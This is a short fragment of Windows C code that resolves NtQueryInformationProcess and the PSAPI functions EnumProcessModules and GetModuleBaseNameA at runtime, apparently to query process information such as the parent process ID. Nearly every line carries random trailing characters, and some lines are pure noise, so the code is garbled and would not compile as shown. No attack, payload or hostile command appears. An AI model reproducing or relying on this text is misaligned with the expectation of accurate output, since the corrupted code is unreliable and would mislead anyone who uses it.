LjEMs\P\
ULONG InheritedFromUniqueProcessId; Il>o60u1
} PROCESS_BASIC_INFORMATION; 0~_I9|FN
k:iy()n[
PROCNTQSIP NtQueryInformationProcess; ollVg/z
!mWm@}Ujg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~iiDy;"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i9rv8"0>
Gg
GjBt
HANDLE hProcess; -R1;(n)
PROCESS_BASIC_INFORMATION pbi; gaNe\
8"NPj0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {/N8[?zML
if(NULL == hInst ) return 0; LkK&<z
g,o46`6"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G#f3
WpD
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X{i>Q_8>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T*Ge67
4JXvP1`
if (!NtQueryInformationProcess) return 0; -G? IXgG
P0_Ymn=&